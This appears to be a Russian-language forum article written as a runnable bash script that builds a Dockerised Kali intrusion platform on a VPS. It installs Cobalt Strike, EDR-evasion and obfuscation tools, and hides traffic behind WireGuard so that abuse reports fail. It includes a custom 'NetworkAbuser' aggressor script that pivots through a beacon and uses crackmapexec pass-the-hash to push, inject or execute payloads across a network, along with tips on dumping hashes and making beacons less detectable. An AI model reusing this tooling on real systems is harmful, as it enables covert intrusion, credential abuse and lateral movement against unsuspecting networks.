sed -i 's+BLOB=false+BLOB=true+g' $pezc ; sed -i 's+FORCED_BITS=false+FORCED_BITS=true+g' $pezc ; sed -i 's+SYSCALLS=false+SYSCALLS=true+g' $pezc
sed -i 's+UNHOOK=false+UNHOOK=true+g' $pezc ; sed -i 's+ANTIDEBUG=false+ANTIDEBUG=true+g' $pezc ; sed -i 's+SDK=4.0+SDK=4.8+g' $pezc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.bashrc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.zshrc
#zsh-terminal-modiifications
cd ; git clone https://github.com/jotyGill/quickz-sh.git ; cd quickz-sh
./quickz.sh ; rm -r ../quickz-sh ; fc-cache -fv
cd /root ; curl -L https://cpanmin.us/ -o /usr/bin/cpanm ; chmod +x /usr/bin/cpanm ; alias cpan=cpanm
yes | cpan Term::ExtendedColor
yes | cpan File::LsColor
git clone git://github.com/trapd00r/ls--.git ; cd ls-- ; perl Makefile.PL ; make && make install ; cp ls++.conf $HOME/.ls++.conf
chsh --shell=/bin/zsh root
wget -O /tmp/theme.tar https://gitlab.com/x4k/pub/-/raw/master/theme.tar ; tar xf /tmp/theme.tar -C /usr/share/themes/
cat<<'EOF'>/root/.zshrc
export PATH=/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
if [[ -r "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh" ]]; then
source "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh"
fi
export TERM="xterm-256color"
export ZSH=$HOME/.oh-my-zsh
POWERLEVEL9K_MODE='nerdfont-complete'
ZSH_THEME="powerlevel10k/powerlevel10k"
POWERLEVEL9K_OS_ICON_BACKGROUND="white"
POWERLEVEL9K_OS_ICON_FOREGROUND="blue"
POWERLEVEL9K_DIR_HOME_FOREGROUND="white"
POWERLEVEL9K_DIR_HOME_SUBFOLDER_FOREGROUND="white"
POWERLEVEL9K_DIR_DEFAULT_FOREGROUND="white"
POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS=(virtualenv status command_execution_time background_jobs todo ram load rvm time)
POWERLEVEL9K_LEFT_PROMPT_ELEMENTS=(ssh os_icon context dir rbenv vcs)
POWERLEVEL9K_PROMPT_ON_NEWLINE=true
plugins=(
zsh-completions
zsh-autosuggestions
history-substring-search
python
httpie
docker
lol
pip
screen
systemd
k
zsh-syntax-highlighting
)
source $ZSH/oh-my-zsh.sh
export LANG=en_US.UTF-8
export PATH=$PATH:~/.local/bin
NPM_PACKAGES="${HOME}/.npm"
PATH="$NPM_PACKAGES/bin:$PATH"
[ -f ~/.fzf.zsh ] && source ~/.fzf.zsh
export FZF_DEFAULT_OPS="--extended"
export MARKER_KEY_NEXT_PLACEHOLDER="\C-b"
[[ -s "$HOME/.local/share/marker/marker.sh" ]] && source "$HOME/.local/share/marker/marker.sh"
export PATH=$PATH:~/.quickzsh/todo/bin
autoload -U compinit && compinit
SAVEHIST=50000
speedtest() {
curl -s https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py | python3 -
}
source ~/.p10k.zsh
alias l="ls++ --potsf"
alias la="ls++ -a --potsf"
EOF
cat<<'EOF'>/root/.p10k.zsh
'builtin' 'local' '-a' 'p10k_config_opts'
[[ ! -o 'aliases' ]] || p10k_config_opts+=('aliases')
[[ ! -o 'sh_glob' ]] || p10k_config_opts+=('sh_glob')
[[ ! -o 'no_brace_expand' ]] || p10k_config_opts+=('no_brace_expand')
'builtin' 'setopt' 'no_aliases' 'no_sh_glob' 'brace_expand'
() {
emulate -L zsh
unset -m 'POWERLEVEL9K_*|DEFAULT_USER'
autoload -Uz is-at-least && is-at-least 5.1 || return
local grey='242'
local red='1'
local yellow='3'
local blue='4'
local magenta='5'
local cyan='6'
local white='7'
typeset -g POWERLEVEL9K_LEFT_PROMPT_ELEMENTS=(
context
dir
command_execution_time
newline
virtualenv
prompt_char
)
typeset -g POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS=(
command_execution_time
public_ip
newline
)
typeset -g POWERLEVEL9K_BACKGROUND=
typeset -g POWERLEVEL9K_{LEFT,RIGHT}_{LEFT,RIGHT}_WHITESPACE=
typeset -g POWERLEVEL9K_{LEFT,RIGHT}_SUBSEGMENT_SEPARATOR=' '
typeset -g POWERLEVEL9K_{LEFT,RIGHT}_SEGMENT_SEPARATOR=
typeset -g POWERLEVEL9K_VISUAL_IDENTIFIER_EXPANSION=
typeset -g POWERLEVEL9K_PROMPT_ADD_NEWLINE=true
typeset -g POWERLEVEL9K_PROMPT_CHAR_OK_{VIINS,VICMD,VIVIS}_FOREGROUND=$magenta
typeset -g POWERLEVEL9K_PROMPT_CHAR_ERROR_{VIINS,VICMD,VIVIS}_FOREGROUND=$red
typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIINS_CONTENT_EXPANSION='❯'
typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VICMD_CONTENT_EXPANSION='❮'
typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIVIS_CONTENT_EXPANSION='❮'
typeset -g POWERLEVEL9K_PROMPT_CHAR_OVERWRITE_STATE=false
typeset -g POWERLEVEL9K_VIRTUALENV_FOREGROUND=$grey
typeset -g POWERLEVEL9K_VIRTUALENV_SHOW_PYTHON_VERSION=false
typeset -g POWERLEVEL9K_VIRTUALENV_{LEFT,RIGHT}_DELIMITER=
typeset -g POWERLEVEL9K_DIR_FOREGROUND=$blue
typeset -g POWERLEVEL9K_CONTEXT_ROOT_TEMPLATE="%F{$white}%n%f%F{$grey}@%m%f"
typeset -g POWERLEVEL9K_CONTEXT_TEMPLATE="%F{$grey}%n@%m%f"
typeset -g POWERLEVEL9K_CONTEXT_{DEFAULT,SUDO}_CONTENT_EXPANSION=
typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_THRESHOLD=5
typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_PRECISION=0
typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FORMAT='d h m s'
typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FOREGROUND=$yellow
typeset -g POWERLEVEL9K_VCS_FOREGROUND=$grey
typeset -g POWERLEVEL9K_VCS_LOADING_TEXT=
typeset -g POWERLEVEL9K_VCS_MAX_SYNC_LATENCY_SECONDS=0
typeset -g POWERLEVEL9K_VCS_{INCOMING,OUTGOING}_CHANGESFORMAT_FOREGROUND=$cyan
typeset -g POWERLEVEL9K_VCS_GIT_HOOKS=(vcs-detect-changes git-untracked git-aheadbehind)
typeset -g POWERLEVEL9K_VCS_BRANCH_ICON=
typeset -g POWERLEVEL9K_VCS_COMMIT_ICON='@'
typeset -g POWERLEVEL9K_VCS_{STAGED,UNSTAGED,UNTRACKED}_ICON=
typeset -g POWERLEVEL9K_VCS_DIRTY_ICON='*'
typeset -g POWERLEVEL9K_VCS_INCOMING_CHANGES_ICON=':⇣'
typeset -g POWERLEVEL9K_VCS_OUTGOING_CHANGES_ICON=':⇡'
typeset -g POWERLEVEL9K_VCS_{COMMITS_AHEAD,COMMITS_BEHIND}_MAX_NUM=1
typeset -g POWERLEVEL9K_VCS_CONTENT_EXPANSION='${${${P9K_CONTENT/⇣* :⇡/⇣⇡}// }//:/ }'
typeset -g POWERLEVEL9K_TIME_FOREGROUND=$grey
typeset -g POWERLEVEL9K_TIME_FORMAT='%D{%H:%M:%S}'
typeset -g POWERLEVEL9K_TIME_UPDATE_ON_COMMAND=false
typeset -g POWERLEVEL9K_TRANSIENT_PROMPT=off
typeset -g POWERLEVEL9K_INSTANT_PROMPT=off
typeset -g POWERLEVEL9K_DISABLE_HOT_RELOAD=true
(( ! $+functions[p10k] )) || p10k reload
}
typeset -g POWERLEVEL9K_CONFIG_FILE=${${(%):-%x}:a}
(( ${#p10k_config_opts} )) && setopt ${p10k_config_opts[@]}
'builtin' 'unset' 'p10k_config_opts'
EOF
#bat
sleep 2 ; wget -O /tmp/bat.deb $(curl -sL https://api.github.com/repos/sharkdp/bat/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4) && dpkg -i /tmp/bat.deb ; apt-get -y -f install ; echo alias cat="bat --paging never -p --theme 'Monokai Extended Origin'" >> /root/.zshrc
#nanorc
cd
wget -nv --show-progress https://raw.githubusercontent.com/ritiek/nanorc/master/install.sh -O- | bash
#dnsleaktest
wget -nv --show-progress https://raw.githubusercontent.com/macvk/dnsleaktest/master/dnsleaktest.sh && mv dnsleaktest.sh /usr/bin/dnsleak && chmod +x /usr/bin/dnsleak
#ls_colors
mkdir /tmp/LS_COLORS && curl -sL https://api.github.com/repos/trapd00r/LS_COLORS/tarball/master | tar xzf - --directory=/tmp/LS_COLORS --strip=1 &> /dev/null
( cd /tmp/LS_COLORS && sh install.sh ) &> /dev/null
#/////////// SOME TOOLZ /////////////////
#cobaltstrike
wget -O /tmp/cs.zip ; mkdir /opt/cobaltstrike ; unzip -P .is /tmp/cs.zip -d /opt/cobaltstrike ; sleep 1
echo 'cd /opt/cobaltstrike && ./start.sh' > /usr/local/bin/cobaltstrike ; chmod +x /usr/local/bin/cobaltstrike
cat<<'EOF'>/usr/share/applications/cobaltstrike.desktop
[Desktop Entry]
Name=Cobalt-Strike
GenericName=Cobalt-Strike
Exec=sudo cobaltstrike
Icon=kali-cadaver
Terminal=false
Type=Application
EOF
#ghidra - NSA reverse
wget -O /tmp/gh.zip $(curl -sL https://api.github.com/repos/NationalSecurityAgency/ghidra/releases/latest | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4)
unzip /tmp/gh.zip -d /tmp/ ; mv /tmp/ghidra* /usr/share/ghidra
cat<<'EOF'>/usr/share/applications/ghidra.desktop
[Desktop Entry]
Name=ghidra
Exec=sudo /usr/share/ghidra/ghidraRun
Icon=ghidra
StartupNotify=false
Terminal=false
Type=Application
EOF
#rustscan
wget -O /opt/rustscan.deb $(curl -sL https://api.github.com/repos/RustScan/RustScan/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4) && dpkg -i /opt/rustscan.deb ; apt-get -y -f install
#oneforall-install
cd /opt
git clone https://github.com/shmilylty/OneForAll.git
mv OneForAll oneforall
cd oneforall
python3 -m pip install -r requirements.txt
cat<<'EOF'>/usr/bin/oneforall
#!/bin/bash
cd /opt/customdir/oneforall
python3 oneforall.py --target $1 run
EOF
chmod +x /usr/bin/oneforall
#pwncat
python3 -m pip install pwncat pe-tree
#chimera
git clone https://github.com/tokyoneon/Chimera /opt/chimera --depth 1
#trans - Google-translate-cli
wget -O /usr/bin/trans git.io/trans && chmod +x /usr/bin/trans
#one-lin3r
pip3 install one-lin3r pefile
#garble
GO111MODULE=on go get mvdan.cc/garble
#scarecrow
git clone https://github.com/optiv/ScareCrow /opt/ScareCrow ; cd /opt/ScareCrow
apt-get -y install osslsigncode ; go get github.com/fatih/color ; go get github.com/yeka/zip ; go get github.com/josephspurrier/goversioninfo
go build . ; mv ScareCrow /usr/local/bin ; cd /opt ; rm -r ScareCrow
#Creds - Windows-Helpers
git clone --raecurse-submodules https://github.com/vxunderground/WinAPI-Tricks /opt/WinAPI-Tricks
git clone --recurse-submodules https://github.com/S3cur3Th1sSh1t/Creds.git /opt/S3cur3Th1sSh1t
git clone --recurse-submodules https://github.com/mgeeky/Penetration-Testing-Tools /opt/mcgeeky
apt-get -y install nishang ; ln -s /usr/share/nishang /opt/nishang
#pe-tree
pip3 install pe-tree libtmux docutils
#ARSENAL CHEATSHIT
git clone https://github.com/Orange-Cyberdefense/arsenal.git /usr/share/myarsenal
ln -s /usr/share/myarsenal/run /usr/local/bin/arsenal ; echo 'alias a="arsenal"' >> /root/.zshrc ; echo "bindkey -s '^g' 'a\n'" >> /root/.zshrc
#TDM-GCC compiller
wget -O /tmp/tdm.7z https://repo.x4k.dev/tdm.7z ; rm -r /root/.wine &> /dev/null ; mkdir /root/.wine ; cd /root/.wine ; 7z x /tmp/tdm.7z
#install wine32
dpkg --add-architecture i386 && apt-get update && apt-get -y install wine32 wine64
#install icons
wget -qO- https://git.io/papirus-icon-theme-install | sh
#torbrowser
version="$(curl -s https://tor.eff.org/dist/torbrowser/ | grep href | grep -v h1 | grep -v update | cut -d'>' -f2 | cut -d'/' -f1 | tail -n1)"
wget -O /tmp/t.tar https://tor.eff.org/dist/torbrowser/"$version"/tor-browser-linux64-"$version"_en-US.tar.xz ; mkdir -p /root/.local/share
tar xf /tmp/t.tar -C /root/.local/share/ ; ln /root/.local/share/tor-browser_en-US/start-tor-browser.desktop /usr/share/applications/
#/////// noVNC and docker entrypoint.sh ///////
git clone https://github.com/novnc/noVNC /usr/share/noVNC ; ln -s /usr/share/noVNC/vnc.html /usr/share/noVNC/index.html
#nvm
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash
export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")" ; [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
nvm install --lts ; nvm use --lts
#frp
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frpc /usr/bin/
cat<<EOF>/usr/local/bin/frpc.ini
[common]
server_addr = DOCKERHOST
server_port = 7000
[vnc]
type = tcp
local_ip = 127.0.0.1
local_port = 6081
remote_port = 6080
use_compression = true
EOF
#terminal
cd /root/.config/xfce4/panel ; find . -type f -print0 | xargs -0 sed -i 's+exo-open --launch TerminalEmulator+xfce4-terminal+g'
#entrypoint
cat<'EOF'>/entrypoint.sh
#!/bin/bash
x1=$(hostname -I | cut -d' ' -f1) ; x2="p@ssw0rd" ; x4="p@ssw0rd"
echo root:$x2 | chpasswd ; mkdir -p /root/.vnc ; echo $x4 | vncpasswd -f > /root/.vnc/passwd
chmod 600 /root/.vnc/passwd ; rm -r /tmp/*
rm -r /root/Downloads/* /root/.zsh_history /root/.zcomp* /root/.ssh/known_hosts /root/.vnc/*.pid /root/.vnc/*.log /tmp/.X11-unix/X1 /tmp/.X1-lock
unset x1 x2 x4 ; sleep 1 ; sudo chown root:messagebus /usr/lib/dbus-1.0/dbus-daemon-launch-helper ; sudo chmod 4754 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared --AcceptSetDesktopSize ; sleep 3
while [ -z "$(netstat -antp | grep tiger)" ] ; do vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared --AcceptSetDesktopSize ; sleep 1 ; done
ssh-keygen -H >> /root/.ssh/known_hosts ; sip="$(dig $HOSTNAME +short A)"
cd /usr/share/noVNC/utils ; ./novnc_proxy --listen 127.0.0.1:6081 --vnc 127.0.0.1:5901 &
frpc -c /usr/local/bin/frpc.ini &
killall tigervncconfig ; chmod 1777 /tmp
spiderfoot -l 127.0.0.1:53137
EOF
chmod +x /entrypoint.sh
DOCKERSTART
sed -i "s+DOCKERHOST+$(hostname)+g" /tmp/start.sh ; chmod +x /tmp/start.sh ; docker run -ti -d --name super_os kalilinux/kali-rolling bash
docker cp /tmp/start.sh super_os:/start.sh ; docker exec -ti super_os /start.sh
#В образ ОС, помимо окружения xfce4 вошли так же необходимые инструменты, которые позволят пользователю, как новичку, так уже и "бывалому" уменьшить время на проведение рутинных работ, инструменты для обфускации кода и другие. Вот список, который показался мне интересным и полезным:
#*golang* мы намеренно не установили из родного репо, т.к. компиляция некоторых инструментов требует последней доступной версии. именно ее мы и установили в систему
#*zsh, bat, nanorc, ls++* призваны сделать работы с командной строкой не только красочной, но и намного более комфортной, нежели со стандартным zsh или bash, которые представлены в репо
#*ghidra* так же самой последней возможной версией. если кто не в курсе - это декомпилятор, который мы увидели в связи с утечкой NSA 'ShadowBrokers'. NSA (это Агенство Национальной Безопасности Америки) и по сей день активно занимаются гидрой. Спасибо)
#*trans* перевод в вашем терминале от Google. trans 'Привет как дела?' -t en
#*oneforall* - это супербыстрый поиск субдоменов, доменов и айпи-адресов нужного вам ресурса
#*pwncat* - думаю в представлении не нуждается.. да, это тот самый "прокачанный netcat".
#*chimera* инструмент не менее известный, это обфускатор powershell скриптов, который включает множетсво методов и параметров
#*pe-tree* - название говорящее - позволяет увидеть структуру исполняемого файла, импорты, экспорты, энтропию и заголовки секций
#*garble*, а по совместительству враппер, заменяющий go при компиляции golang приложений
#*PEzor* известный фреймворк, который компилирует шеллкод либо бинарник в другие форматы, в том числе ReflectiveDLL. внимание на который, наверное стоит обратить всем, кто еще не успел познакомиться с этим чудесным методом управляемой инъекции. Но все-таки основная задача его установки - это установка необходимых компиляторов Windows приложений, таких как mingw-w64 и mono-mcs. Так же скрипт-установщик PEzor'а установит wclang (x86_64-w64-mingw32-clang), donut, sgn.
#*one-lin3r* очень полезная утилита, с помощью которой пользователь сможет получить подсказки по основным методам исполнения файла, так же внутри много способов дропа пейлоадов на целевую машину
#*Scarecrow* - это golang приложение, которое компилирует шеллкод по технике, называемой EDR evasion, призванной обходить одноименный компонент активной защиты Windows OS. Так же крайне важен принцип работы и ознакомление с ним
#*репозитории* инструментов таких маэстро сетевой безопасности, как mcgeeky и S3cur3Th1sSh1t, в которых каждый найдет кучу вкучностей и полезностей
#*arsenal* это супер-помощник пользователя, вызов которого мы зарегестрировали на комбинацию CTRL+A. это нужно увидеть, описывать бесполезно
#*wine tdm-gcc / wine gcc / wine g++* так же windows компилер, который дает неплохие результаты в плане обфускации-при-компиляции в случае его грамотного применения
#spiderfoot - мощнейший инструмент OSINT разведки. В настройках необходимо добавить как можно больше API ключей, предварительно их заполучив. Благо - в основном эти сервисы предоставляют минимум квоты, которой должно хватить нам на первое время
#-----------------------------------------
#Просто напоминаю, что подсказку по любым командам вы сможете найти в Google либо написав название утилиты -h (--help) XD
#DEFINE: _MAIN
#Ну вот и заключительная часть нашей "большой стройки" - собрание всего в кучу, под крыло wireguard и docker-compose. для этого мы создадим директорию, например /localhost , в которой в свою очередь напишем docker-compose.yml файл, с помощью которого мы и осуществим задуманное. Но прежде, чем сделать это, Вам необходимо обзавестись wireguard.conf - конфигурационным файлом wireguard. Вы сможете сделать это купив аккаунт wireguard-vpn (предпочтительнее), либо использовать чей-то сервер в качестве хоста-впн. Инструкций и автоматических установщиков море - смысла их тут приводить вообще нет. Итак наш туннель.conf следую положить в папку /etc/wireguard/socks/wg.conf , либо в любую другую, поправив при этом скрипт ниже. Обратите внимание: докер не любит ipv6 сети, соответственно все ipv6 адреса так же следует удалить из файла конфигурации туннеля.
mkdir /localhost ; cat<<'EOF'>/localhost/docker-compose.yml
version: "3.7"
services:
wireguard:
image: jordanpotter/wireguard
container_name: wireguard
restart: unless-stopped
networks:
- backbone
volumes:
- '/etc/wireguard/socks/wg.conf:/etc/wireguard/mullvad.conf'
- '/lib/modules:/lib/modules'
cap_add:
- NET_ADMIN
- SYS_MODULE
sysctls:
- net.ipv4.conf.all.src_valid_mark=1
- net.ipv4.ip_forward=1
suos:
depends_on:
- wireguard
image: suod
container_name: kali_suos
restart: unless-stopped
network_mode: service:wireguard
cap_add:
- NET_ADMIN
volumes:
- '/var/run/docker.sock:/var/run/docker.sock'
command: bash /entrypoint.sh
environment:
- HOSTNAME=$HOSTNAME
gvm:
depends_on:
- wireguard
image: kali_gvm
container_name: gvm
restart: unless-stopped
network_mode: service:wireguard
privileged: true
command: chown -hR gvm:gvm /data
command: ./start.sh
cap_add:
- NET_ADMIN
volumes:
- '/opt/gvm-data:/data'
- '/run/dbus/system_bus_socket:/run/dbus/system_bus_socket'
environment:
- SSHD="false"
networks:
backbone:
driver: bridge
EOF
#... и файл up.sh, который будет перзапускать контейнеры и комментировать изменения в контейнерах, попутно чистить ОЗУ и кеш перед перезапуском
cat<<'EOF'>/localhost/up.sh
#!/bin/bash
cd /localhost ; docker commit kali_suos suos ;
export HOSTNAME="$(hostname)" ; killall -9 ibus-extension-gtk3 ; killall -9 Xtigervnc
sync; echo 3 > /proc/sys/vm/drop_caches ; swapoff /swapfile2 ; sleep 1 ; swapon -a
docker-compose down --remove-orphans ; docker-compose up -d --force-recreate --remove-orphans
EOF
chmod +x /localhost/up.sh
echo '#!/bin/bash' > /etc/rc.local ; echo /localhost/up.sh >> /etc/rc.local ; chmod +x /etc/rc.local #этим мы поместили срипт редеплойа контейнеров в "автозагрузку" хоста
#DEFINE: _EXIT
#Наши практики освоения bash-скриптинга подходят к концу. Но какая же это статья на проникновение, спросите Вы? Отвечу - самое сладкое - оставляют на десерт)))
#Напишем простейший, но тем не менее очень мощный скрипт для кобальта, а так же Linux-GUI хелпер, который придаст эстетики и юзабельности нашему NetworkAbuser'у (так я его назвал)))
cat<<'EOF'>/tmp/abuser.cna
alias abuser {
bsleep($1, 0, 0);
bsocks_stop($1);
bsocks($1, 27500)
exec("/usr/local/bin/abuser");
}
EOF
cat > /tmp/abuser << 'ABUSER'
#!/bin/bash
cat<<EOF>/etc/proxychains.conf
quiet_mode
dynamic_chain
[ProxyList]
socks4 XHOSTNAME 27500
EOF
zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --forms --title="NetworkAbuser" --width="400" --text="Wait for Starting client... in beacon console" \
--add-entry="network " --add-entry="username " --add-entry="hash " --add-combo="method" --combo-values="put|inject|execute" &> /tmp/.values
CIDR="$(cat /tmp/.values | cut -d'|' -f1)"
USER="$(cat /tmp/.values | cut -d'|' -f2)"
HASH="$(cat /tmp/.values | cut -d'|' -f3)"
METH="$(cat /tmp/.values | cut -d'|' -f4)"
if [ -z "$CIDR" ] || [ -z "$USER" ] || [ -z "$HASH" ] ; then exit 0 ; fi
if test "$METH" = "put" || test "$METH" = "inject" ; then
INPUT="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --file-selection --title=NetworkAbuser)" ; OUTPUT="$(echo $INPUT | awk -F'/' '{print $NF}')"
elif test "$METH" = "execute" ; then
EXECCMD="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --title=NetworkAbuser --text='Enter your command...' --width=400 --entry)"
fi
if test "$METH" = "put" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH --put-file $INPUT \\\\Windows\\\\Temp\\\\$OUTPUT -x \\\\Windows\\\\Temp\\\\$OUTPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "inject" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -M pe_inject -o PATH=$INPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "execute" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -x "$EXECMD"" > /tmp/.crackmapexeccmd
fi
chmod +x /tmp/.crackmapexeccmd ; xfce4-terminal --fullscreen --hide-menubar --hide-toolbar --hide-scrollbar -e 'sudo /tmp/.crackmapexeccmd' --hold
ABUSER
hostip="$(dig $(hostname) +short A)" ; sed -i "s+XHOSTNAME+$hostip+g" /tmp/abuser ; chmod +x /tmp/abuser
docker cp /tmp/abuser super_os:/usr/local/bin ; docker cp /tmp/abuser.cna super_os:/opt/cobaltstrike/custom/
docker stop gvm super_os ; docker commit super_os suos ; docker commit gvm kali_gvm ; docker rm super_os gvm --force
#Принцип работы крайне прост. Сначала кобальт создает SOCKS4 Pivot через интересующий Вас бикон. После этого открывается GUI интерфейс, в котором необходимо будет указать CIDR (что то типа 192.168.2.0/24), имя пользователя и HASH, заполучить которые крайне просто - в консоле бикона выполить hashdump
#При первом использовании необходимо будет подключить скрипт, который находится в /opt/cobaltstrike/custom/abuser.cna, ну и другие скрипты, какие хотите
#Ну и самое последнее, как я и говорил ранее - мы создадим клиента под windows и linux, для работы с системой, использую chrome + java
npm i -g electron nativefier serve ; curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash
mkdir /root/clients ; cd /root/clients ; curl -sL gitlab.com/x4k/pub/-/raw/master/nativ.zip > n.zip ; unzip n.zip
if [ ! -d dist ] ; then
export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
nvm install --lts ; nvm use --lts ; npm i -g nativefier electron-builder yarn
yarn add electron ; npm i ; yarn
fi
rm -r build dist x4kme-linux-x64 x4kme-win32-x64 &> /dev/null
function buildme() {
nativefier http://"$(hostname)":6080/vnc.html \
--name x4kme \
--platform "$nplatform" \
--aarch x64 \
--lang ru-RU \
--tray \
--start-in-tray \
--icon "icon.png" \
--height 980 \
--width 1560 \
--disable-dev-tools \
--ignore-certificate \
--insecure
electron-builder build "$eplatform" --pd x4kme-"$pdir"-x64
}
#linux
nplatform="linux" eplatform='-l' pdir="linux" buildme
#windows
nplatform="windows" eplatform='-w' pdir="win32" buildme
echo 'cd /root/clients/dist ; serve -p 50000 &' >> /etc/rc.local
#DEFINE: _PS
#Вот и финальчик, так что в итоге? А в итоге мы имеем экосистему, включающую в себя свою сеть, работающую внутри контейнеров, которые в свою очередь шифруют трафик через wireguard-контейнер. Этим мы достигаем несколько абсолютно-важных целей: мы прячем наш трафик от глаз провайдера, в том числе сканера GVM, а так же создаем дополнительный слой шифрования, при этом шансы на абуз стремительно стремятся к нулю. Но все таки, конечно, лучше не юзать Ваш хост как Direct connect Для биконов. Для этого существуют редиректоры, инфы по которым предостаточно, они очень просты в установке. Работа через клиенты обеспечит нам так же необходимо-достигнутый уровень защиты, а именно, при работе через VPN получаем ТРИ!!! уровня защиты, два из которых защищены ключами шифрования, которые по одному-то практически нереально взломать, а в такой сцепке и вовсе становится нереально до вас добраться. Ну а как работает NetworkAbuser и аналогичную систему с моими наработками, сможете увидеть на видео, которое находится ниже. Скомпилированные клиенты доступны по адресу http://ваш.домен:50000
#Почему модульный? Все просто: Вы сможете добавить любой контейнер в /localhost/docker-compose.yml, который так же будет работать через wireguard и провайдер не сможет увидеть ничего, ни байта из трафика, вызванного Вашими невинными шалостями))) Наприм[MEDIA=youtube]3GRnQXXGky0[/MEDIA]ер:
docker pull 0x4k/jok3r ; cat<<'EOF'>>/localhost/docker-compose.yaml
gvm:
depends_on:
- wireguard
image: 0x4k/jok3r
container_name: jok3r
restart: unless-stopped
network_mode: service:wireguard
privileged: true
cap_add:
- NET_ADMIN
volumes:
- '/run/dbus/system_bus_socket:/run/dbus/system_bus_socket'
EOF
#Станет доступен модифицированный и глвное работающий coutto/jok3r:
#docker exec -ti jok3r zsh
#wget -O /targets.txt http://ваш.линк/на/список/ip-адресов/которые/вы/хотитет/"протестировать".txt
#attack
#У вас спросят два вопроса - местоположение того самого списка и название workspace (это название БД, куда будут собираться результаты). После этого джокер начнет разведку и атаку, а после выдаст ссылку на отчет. Инструментов внутри - что-то около 103. Самых серьезных ;-) Как вегда все произойдет автоматически)))
#Как бонус - Вы можете сменить тему кали - в настройках графической оболочки - выберите unkn0wn в меню Appearance и Windows Manager ;-)
#Как бонус2 - cd /opt/cobaltstrike/Toolkits ; unzip artifact.zip ; cd artifact ; bash winebuild.sh | Выполнять из-под графической оболочки, после того, как подключите свежеиспеченный artifact.cna из папок /opt/cobaltstrike/Toolkits/artifact/dist* ваши биконы станут менее заметны ;-)
#Как бонус3 - интерфейсы GVM , PatrowlHears и spiderfoot - защита от дурака))) если по-русски - "найдете сами" =)
#Ну и для тех, кто не понял формат написанной статьи - это абсолютно рабочий bash скрипт, который Вы сможете исполнить на свежекупленном хосте и получить результат из коробки))) просто загрузите скрипт на VPS например так: scp script.sh VPS:/root ; ssh VPS ; chmod +x script.sh ; ./script.sh ВАШ.ДОМЕН Не благодарите)
sudo -u root reboot